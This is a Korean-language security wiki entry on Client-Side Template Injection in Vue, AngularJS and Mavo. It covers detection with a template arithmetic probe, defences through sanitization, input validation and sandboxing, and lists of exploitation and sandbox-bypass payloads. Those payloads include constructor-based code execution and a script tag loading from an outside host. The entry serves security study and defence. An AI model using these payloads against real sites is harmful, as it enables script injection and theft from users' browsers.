CSTI Attack

Client-Side Template Injection

Introduction

CSTI(Client-Side Template Injection)은 공격자가 Template 코드를 기존 template에 include 시켜서 원하는 액션을 수행하도록 하는 공격입니다. 이 때 template injection이 발생하는 위치가 client-side인 경우 CSTI라고 부릅니다.

CSTI는 Client-Side에서 Javascript code를 실행할 수 있는데, 이는 XSS와 동일한 공격 벡터와 리스크를 가지며 사실상 거의 같은 공격이라고 봐도 무방하긴 합니다. 다만 CSTI에서만 영향있는 페이로드들이 있어 별도로 Cullinan 문서로 정리합니다.

Offensive techniques

Detect

CSTI는 SSTI와 비슷하게 Template Engine이 서비스에 같이 존재해야 발생할 수 있는 조건이 충족됩니다. 여기서 이야기하는 Template Engine은 일반적으로 웹 FE 구성에서 많이 사용되는 VueJS, AngularJS, React 등을 의미하며 사용자의 입력값이 각 프레임워크에서 사용하는 Template 문법에 영향을 줄 수 있을 때 CSTI 공격이 성공할 수 있습니다.

SSTI와 유사하게 Template 문법 내 간단한 숫자 계산으로 통해서 영향력을 검증합니다.

GET /test?q=abcd{{412*343}}efgh HTTP/1.1

미취약

abcd${{412*343}}efgh

취약

abcd141316efgh

Exploitation

Vue

<div v-html="alert(45)"> aaa</div>

Angular

<input ng-focus=$event.view.alert(45)>

Mavo

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Bypass protection

Vue

{{toString().constructor.constructor('alert(1)')()}}
return new Function(code)
{{_c.constructor('alert(1)')()}}
<p v-show="_c.constructor`alert(1)`()">
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
<x v-bind:a='_b.constructor`alert(1)`()'>
<x v-bind:is="'script'" src="//14.rs" />
<x is=script src=//⑭.₨>
<img src @error="e=$event.path;e[e.length-1].alert(1)">
<img src @error="e=$event.path.pop().alert(1)">
<img src @error="e=$event.composedPath().pop().alert(1)">
<img src @error=this.alert(1)>
{{-function(){this.alert(1)}()}}
<svg @load=this.alert(1)>
<svg@load=this.alert(1)>

Minimized

{{_c.constructor('alert(1)')()}}  // (32 bytes)
{{_b.constructor`alert(1)`()}}    // (30 bytes)

Angular

{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}
{{0[a='constructor'][a]('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

Defensive techniques

CSTI는 대다수 Injection 공격과 동일하게 Sanitization, Input validation을 이중으로 적용하는 것이 가장 좋은 형태의 대응방안이고 어려운 경우 한가지의 대응 방안을 택하거나 Sandboxing을 겸해서 처리하는 형태로 대응이 가능합니다.

Sanitization

사용자 입력으로 부터 Template을 생성하지 않도록 처리해야합니다. 사용자 입력이 필요한 경우 Template 자체에서 제공하는 Parameter를 통해 받아 처리하도록 구성하여 Template 자체에 영향을 줄 수 없도록 제한해야 합니다.

Input Validation

마지막으로 사용자 입력에서 { } [ ] 과 같은 특수문자 자체를 받지 못하도록 Escape 처리하는 로직을 적용하여 대응할 수 있습니다. 이는 일부 XSS, SQLi에서 대응하는 방식과 동일합니다.

{ }
[ ]
< >
등 XSS 대응방안과 유사합니다.

Sandboxing

사용자 입력 값을 기반으로 Template을 생성하고 렌더링해야 하는 경우 어쩔 수 없이 사용자 입력으로 Template을 처리할 수 밖에 없습니다. 이 때 사용자 입력으로 부터 받는 Template은 Sandboxing 하여 공격코드가 실제로 영향을 끼칠 수 없도록 제한하는 방법으로도 대응할 수 있습니다.

다만 Sandboxing의 경우 우회할 여지가 충분히 있기 때문에 가급적 단독으로 사용하는 것 보단 위 2개와 혼용하여 사용하는 것을 추천드립니다.

Tools

Articles

  • https://www.hahwul.com/2017/07/12/web-hacking-angularjs-sandboxdom-based/

References